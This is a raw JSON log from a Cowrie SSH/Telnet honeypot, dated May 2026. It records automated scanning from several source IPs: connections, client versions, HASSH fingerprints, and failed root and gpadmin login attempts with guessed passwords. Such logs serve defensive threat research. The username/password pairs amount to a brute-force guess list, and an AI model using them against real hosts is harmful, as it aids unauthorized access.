{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:01.217538Z","src_ip":"103.149.170.125","session":"15aad70555f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moscow","message":"login attempt [root/moscow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:01.970080Z","src_ip":"103.149.170.125","session":"15aad70555f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"43697d3e9f4e","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 43697d3e9f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:02.748029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:02.755211Z","src_ip":"74.243.239.219","session":"43697d3e9f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:02.934659Z","src_ip":"74.243.239.219","session":"43697d3e9f4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:03.223707Z","src_ip":"103.149.170.125","session":"15aad70555f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lb123456.","message":"login attempt [root/lb123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:03.638116Z","src_ip":"74.243.239.219","session":"43697d3e9f4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.57275748252869,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:04.751071Z","src_ip":"192.119.13.58","session":"fccf7128b64e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:04.810153Z","src_ip":"74.243.239.219","session":"43697d3e9f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56350,"dst_ip":"10.17.0.5","dst_port":23,"session":"588c28b41822","protocol":"telnet","message":"New connection: 192.119.13.58:56350 (10.17.0.5:23) [session: 588c28b41822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:06.418907Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38284,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4c4c453b0e","protocol":"telnet","message":"New connection: 192.119.13.58:38284 (10.17.0.5:23) [session: 7d4c4c453b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:07.739752Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49976,"dst_ip":"10.17.0.5","dst_port":23,"session":"022510d4c597","protocol":"telnet","message":"New connection: 192.119.13.58:49976 (10.17.0.5:23) [session: 022510d4c597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:10.524279Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":63265,"dst_ip":"159.203.135.109","dst_port":22,"session":"d958370f3ceb","protocol":"ssh","message":"New connection: 103.24.63.85:63265 (159.203.135.109:22) [session: d958370f3ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:14.770404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:14.798038Z","src_ip":"103.24.63.85","session":"d958370f3ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:15.019225Z","src_ip":"103.24.63.85","session":"d958370f3ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin123","message":"login attempt [gpadmin/gpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:16.002851Z","src_ip":"103.24.63.85","session":"d958370f3ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:17.199743Z","src_ip":"103.24.63.85","session":"d958370f3ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51170,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d7a96577c71","protocol":"telnet","message":"New connection: 192.119.13.58:51170 (10.17.0.5:23) [session: 5d7a96577c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:20.179274Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59786,"dst_ip":"10.17.0.5","dst_port":23,"session":"0652729e6736","protocol":"telnet","message":"New connection: 192.119.13.58:59786 (10.17.0.5:23) [session: 0652729e6736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:27.392202Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":35891,"dst_ip":"159.203.135.109","dst_port":22,"session":"49f0fcce6a36","protocol":"ssh","message":"New connection: 103.24.63.85:35891 (159.203.135.109:22) [session: 49f0fcce6a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:29.968537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:29.973953Z","src_ip":"103.24.63.85","session":"49f0fcce6a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:30.170679Z","src_ip":"103.24.63.85","session":"49f0fcce6a36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:30.835836Z","src_ip":"103.24.63.85","session":"49f0fcce6a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:32.035516Z","src_ip":"103.24.63.85","session":"49f0fcce6a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52602,"dst_ip":"10.17.0.5","dst_port":23,"session":"04ce59a3971e","protocol":"telnet","message":"New connection: 192.119.13.58:52602 (10.17.0.5:23) [session: 04ce59a3971e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:32.130579Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58960,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e48bce7be6b","protocol":"telnet","message":"New connection: 192.119.13.58:58960 (10.17.0.5:23) [session: 9e48bce7be6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:33.838504Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":31075,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5160e27ab87","protocol":"ssh","message":"New connection: 186.122.177.140:31075 (10.17.0.5:22) [session: a5160e27ab87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:37.507376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:37.516015Z","src_ip":"186.122.177.140","session":"a5160e27ab87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:37.754813Z","src_ip":"186.122.177.140","session":"a5160e27ab87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.87716841697693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:38.295982Z","src_ip":"192.119.13.58","session":"588c28b41822","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ml123","message":"login attempt [root/ml123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:38.719395Z","src_ip":"186.122.177.140","session":"a5160e27ab87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":47388,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceef8e9afc3f","protocol":"ssh","message":"New connection: 92.207.4.157:47388 (159.203.135.109:22) [session: ceef8e9afc3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:38.960255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:38.965388Z","src_ip":"92.207.4.157","session":"ceef8e9afc3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:39.081477Z","src_ip":"92.207.4.157","session":"ceef8e9afc3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucio123","message":"login attempt [root/lucio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:39.556979Z","src_ip":"92.207.4.157","session":"ceef8e9afc3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:39.913829Z","src_ip":"186.122.177.140","session":"a5160e27ab87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.60155940055847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:40.341194Z","src_ip":"192.119.13.58","session":"7d4c4c453b0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:40.672624Z","src_ip":"92.207.4.157","session":"ceef8e9afc3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.255450963974,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:44.779600Z","src_ip":"192.119.13.58","session":"022510d4c597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"467ea37c24e3","protocol":"telnet","message":"New connection: 192.119.13.58:45816 (10.17.0.5:23) [session: 467ea37c24e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:46.036547Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":56718,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee84bcb1ecfb","protocol":"ssh","message":"New connection: 77.105.130.18:56718 (159.203.135.109:22) [session: ee84bcb1ecfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:47.506443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:47.510852Z","src_ip":"77.105.130.18","session":"ee84bcb1ecfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:47.609929Z","src_ip":"77.105.130.18","session":"ee84bcb1ecfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!1234","message":"login attempt [root/K0nig!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:48.038660Z","src_ip":"77.105.130.18","session":"ee84bcb1ecfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:49.141020Z","src_ip":"77.105.130.18","session":"ee84bcb1ecfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.970046520233154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:51.149223Z","src_ip":"192.119.13.58","session":"5d7a96577c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":37698,"dst_ip":"159.203.135.109","dst_port":22,"session":"3834ae5533cc","protocol":"ssh","message":"New connection: 43.135.176.251:37698 (159.203.135.109:22) [session: 3834ae5533cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.007112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:52.015652Z","src_ip":"43.135.176.251","session":"3834ae5533cc","protocol":"ssh"}
